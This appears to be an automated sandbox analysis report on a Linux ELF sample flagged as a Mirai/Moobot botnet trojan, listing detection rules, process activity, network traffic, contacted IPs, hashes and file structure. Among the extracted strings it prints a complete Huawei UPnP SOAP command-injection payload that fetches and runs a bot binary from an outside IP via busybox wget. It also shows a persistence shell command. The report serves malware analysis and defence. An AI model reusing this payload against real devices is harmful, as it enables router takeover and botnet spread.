Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: Process Memory Space: v8OWS3Ylfj.elf PID: 6223, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: Content-Length: /bin/busybox/bin/watchdog/bin/systemdbinrm -rf && mkdir ; > && mv ; chmod 777 3f

Source: classification engine

Classification label: mal92.troj.linELF@0/0@1/0

Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/1582/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/3088/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/230/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/110/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/231/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/111/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/232/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/1579/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/112/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/233/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/1699/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/113/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/234/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/1335/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/1698/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/114/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/235/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/1334/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/1576/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/2302/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/115/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/236/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/116/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/237/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/117/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/118/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/910/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/6227/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/119/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/912/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/6228/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/10/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/2307/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/11/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/918/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/12/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/13/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/14/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/15/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/16/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/17/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/18/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/1594/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/120/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/121/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/1349/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/1/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/122/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/243/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/123/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/2/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/124/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/3/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/4/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/125/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/126/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/1344/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/1465/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/1586/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/127/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/6/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/248/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/128/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/249/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/1463/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/800/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/9/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/801/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/20/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/21/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/1900/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/22/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/23/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/24/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/25/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/26/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/27/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/28/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/29/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/491/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/250/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/130/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/251/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/252/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/132/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/253/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/254/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/255/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/256/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/1599/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/257/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/1477/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/379/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/258/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/1476/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/259/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/1475/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/936/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/30/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/2208/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/35/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/1809/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/1494/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/260/cmdline
Source: /tmp/v8OWS3Ylfj.elf (PID: 6226)	File opened: /proc/261/cmdline

Source: /tmp/v8OWS3Ylfj.elf (PID: 6224)

Shell command executed: sh -c "rm -rf bin/watchdog && mkdir bin; >bin/watchdog && mv \"/tmp/v8OWS3Ylfj.elf \\xdc\u0420\\xff\\x84\\x88&bin/watchdog; chmod 777 bin/watchdog"

Source: submitted sample

Stderr: sh: 1: Syntax error: Unterminated quoted string: exit code = 0

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 57976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 42668
Source: unknown	Network traffic detected: HTTP traffic on port 34274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54054 -> 37215

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: v8OWS3Ylfj.elf, type: SAMPLE
Source: Yara match	File source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY

Yara detected Moobot

Source: Yara match	File source: v8OWS3Ylfj.elf, type: SAMPLE
Source: Yara match	File source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: v8OWS3Ylfj.elf, type: SAMPLE
Source: Yara match	File source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY

Yara detected Moobot

Source: Yara match	File source: v8OWS3Ylfj.elf, type: SAMPLE
Source: Yara match	File source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scripting	Path Interception	Path Interception	1 Scripting	1 OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
v8OWS3Ylfj.elf	57%	Virustotal		Browse
v8OWS3Ylfj.elf	59%	ReversingLabs	Linux.Trojan.LnxMirai
v8OWS3Ylfj.elf	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
test.zxyes.xyz	2%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
test.zxyes.xyz	195.133.40.202	true	true	2%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	v8OWS3Ylfj.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	v8OWS3Ylfj.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
197.116.97.50	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.122.250.100	unknown	South Africa	16637	MTNNS-ASZA	false
41.158.229.80	unknown	Gabon	16058	Gabon-TelecomGA	false
157.202.176.43	unknown	United States	1759	TSF-IP-CORETeliaFinlandOyjEU	false
162.153.29.187	unknown	United States	10796	TWC-10796-MIDWESTUS	false
41.78.111.29	unknown	Sudan	37211	MAX-NET-FOR-INTERNET-SERVICESSD	false
157.57.242.60	unknown	United States	3598	MICROSOFT-CORP-ASUS	false
157.86.112.180	unknown	Brazil	21612	FUNDACAOINSTITUTOOSWALDOCRUZBR	false
157.71.207.91	unknown	Japan	131932	JEIS-NETJREastInformationSystemsCompanyJP	false
197.206.187.63	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.203.147.109	unknown	Algeria	36947	ALGTEL-ASDZ	false
157.112.136.32	unknown	Japan	9605	DOCOMONTTDOCOMOINCJP	false
154.241.231.35	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.254.120.33	unknown	Kenya	15808	ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE	false
157.202.176.45	unknown	United States	1759	TSF-IP-CORETeliaFinlandOyjEU	false
157.240.97.103	unknown	United States	32934	FACEBOOKUS	false
191.71.196.136	unknown	Colombia	26611	COMCELSACO	false
41.240.27.36	unknown	Sudan	36998	SDN-MOBITELSD	false
90.158.197.168	unknown	Turkey	9021	ISNETTR	false
159.65.206.40	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
1.41.26.120	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
157.229.129.223	unknown	United States	122	UPMC-AS122US	false
157.80.125.244	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
41.214.230.4	unknown	Morocco	36925	ASMediMA	false
157.62.20.95	unknown	United States	22192	SSHENETUS	false
157.74.162.171	unknown	Japan	131932	JEIS-NETJREastInformationSystemsCompanyJP	false
146.233.213.243	unknown	United States	53527	COUNTY-OF-LOS-ANGELES-SHERIFFS-DEPARTMENTUS	false
197.30.214.19	unknown	Tunisia	37492	ORANGE-TN	false
41.240.108.63	unknown	Sudan	36998	SDN-MOBITELSD	false
102.105.183.19	unknown	Tunisia	37693	TUNISIANATN	false
197.221.108.123	unknown	South Africa	37236	Reflex-SolutionsZA	false
41.102.124.94	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.186.110.64	unknown	Rwanda	36890	MTNRW-ASNRW	false
41.158.143.123	unknown	Gabon	16058	Gabon-TelecomGA	false
41.108.235.41	unknown	Algeria	36947	ALGTEL-ASDZ	false
157.91.221.202	unknown	United States	1767	ILIGHT-NETUS	false
197.23.201.49	unknown	Tunisia	37693	TUNISIANATN	false
108.13.86.247	unknown	United States	5650	FRONTIER-FRTRUS	false
77.226.252.166	unknown	Spain	12430	VODAFONE_ESES	false
146.124.59.136	unknown	Greece	3260	INTRACOMGR	false
41.232.55.184	unknown	Egypt	8452	TE-ASTE-ASEG	false
219.202.15.245	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
157.148.116.78	unknown	China	136958	UNICOM-GUANGZHOU-IDCChinaUnicomGuangdongIPnetworkCN	false
157.24.67.210	unknown	Finland	1741	FUNETASFI	false
41.244.252.243	unknown	Cameroon	37620	VIETTEL-CM-ASCM	false
41.23.191.240	unknown	South Africa	29975	VODACOM-ZA	false
41.47.7.55	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.180.119.67	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
157.157.39.79	unknown	Iceland	6677	ICENET-AS1IS	false
157.252.160.112	unknown	United States	3592	TRINCOLL-ASUS	false
197.58.116.239	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.158.15.113	unknown	Mozambique	30619	TDM-ASMZ	false
197.53.119.213	unknown	Egypt	8452	TE-ASTE-ASEG	false
211.175.167.21	unknown	Korea Republic of	9457	DREAMX-ASDREAMLINECOKR	false
85.199.145.238	unknown	Germany	25560	RHTEC-ASrh-tecIPBackboneDE	false
157.227.16.98	unknown	Australia	4704	SANNETRakutenMobileIncJP	false
1.170.61.234	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
197.46.254.215	unknown	Egypt	8452	TE-ASTE-ASEG	false
121.94.172.86	unknown	Japan	2510	INFOWEBFUJITSULIMITEDJP	false
132.147.143.250	unknown	United States	11776	ATLANTICBB-JOHNSTOWNUS	false
197.42.235.247	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.204.140.235	unknown	Tanzania United Republic of	36930	Zantel-ASTZ	false
213.89.240.214	unknown	Sweden	39651	COMHEM-SWEDENSE	false
191.41.153.32	unknown	Brazil	7738	TelemarNorteLesteSABR	false
197.25.176.170	unknown	Tunisia	37671	GLOBALNET-ASTN	false
197.225.3.139	unknown	Mauritius	23889	MauritiusTelecomMU	false
110.251.172.54	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
197.53.119.223	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.164.123.130	unknown	Belgium	49964	VERIXI-BACKUPNETWORKBE	false
197.89.135.46	unknown	South Africa	10474	OPTINETZA	false
217.8.241.179	unknown	United Kingdom	20738	GD-EMEA-DC-LD5GB	false
41.221.123.188	unknown	unknown	36974	AFNET-ASCI	false
157.74.88.27	unknown	Japan	131932	JEIS-NETJREastInformationSystemsCompanyJP	false
41.216.185.187	unknown	South Africa	40065	CNSERVERSUS	false
41.91.9.71	unknown	Egypt	33771	SAFARICOM-LIMITEDKE	false
197.211.78.67	unknown	South Africa	29918	IMPOL-ASNZA	false
157.45.145.241	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
197.174.209.103	unknown	South Africa	37168	CELL-CZA	false
197.204.101.21	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.98.89.102	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.31.140.147	unknown	Tunisia	37492	ORANGE-TN	false
208.229.94.48	unknown	United States	4208	THE-ISERV-COMPANYUS	false
197.130.198.23	unknown	Morocco	6713	IAM-ASMA	false
41.228.168.97	unknown	Tunisia	37492	ORANGE-TN	false
197.139.229.118	unknown	Kenya	36914	KENET-ASKE	false
157.180.240.213	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
41.11.91.70	unknown	South Africa	29975	VODACOM-ZA	false
157.149.244.2	unknown	United States	3464	ASC-NETUS	false
4.173.232.107	unknown	United States	3356	LEVEL3US	false
41.217.30.150	unknown	Nigeria	37340	SpectranetNG	false
157.240.98.11	unknown	United States	32934	FACEBOOKUS	false
135.239.89.179	unknown	United States	10455	LUCENT-CIOUS	false
157.54.149.249	unknown	United States	3598	MICROSOFT-CORP-ASUS	false
197.88.158.211	unknown	South Africa	10474	OPTINETZA	false
152.217.237.100	unknown	United States	30313	IRSUS	false
197.125.162.90	unknown	Egypt	36992	ETISALAT-MISREG	false
157.56.241.225	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
197.62.75.231	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.241.76.144	unknown	United States	32934	FACEBOOKUS	false
145.149.26.3	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.548832915017976
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	v8OWS3Ylfj.elf
File size:	55632
MD5:	2b318e2fa59dccaa45cc59c5fea7e082
SHA1:	d5bf527325fbfbda5d26272bb88874bc504dd260
SHA256:	7bbce804ece6b26f0fcf2937fd5217518848f044c95cc6d033f5a08f04598a06
SHA512:	cb9c55ee85b5d0a8d881201cd99b4b998353e58239350d597db1bb5a2ce09bde7a7e72a941a9c6b18fba8cf43a86e837297ca33dfcd8913e86c7715ca4972f66
SSDEEP:	1536:JeESt/basV2rcZhG6ySN7na65lSR9zWOIaEjrqMds:JeESt/basVTgS7na65QRVtXESS
TLSH:	A9436BC4F643D8F5EC8705702077FB379B72E1E922A8D647D3B4D932AC52651EA06A8C
File Content Preview:	.ELF....................d...4...........4. ...(..............................................e...e......H(..........Q.td............................U..S.......w....h........[]...$.............U......=.g...t..5....$e.....$e......u........t....h.T..........

Static ELF Info

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8048094	0x94	0x1c	0x0	0x6	AX	1
.text	PROGBITS	0x80480b0	0xb0	0xb436	0x0	0x6	AX	16
.fini	PROGBITS	0x80534e6	0xb4e6	0x17	0x0	0x6	AX	1
.rodata	PROGBITS	0x8053500	0xb500	0x1ffc	0x0	0x2	A	32
.ctors	PROGBITS	0x8056500	0xd500	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x8056508	0xd508	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x8056520	0xd520	0x260	0x0	0x3	WA	32
.bss	NOBITS	0x8056780	0xd780	0x25c8	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0xd780	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0xd4fc	0xd4fc	6.5875	0x5	R E	0x1000	.init .text .fini .rodata
LOAD	0xd500	0x8056500	0x8056500	0x280	0x2848	3.4669	0x6	RW	0x1000	.ctors .dtors .data .bss
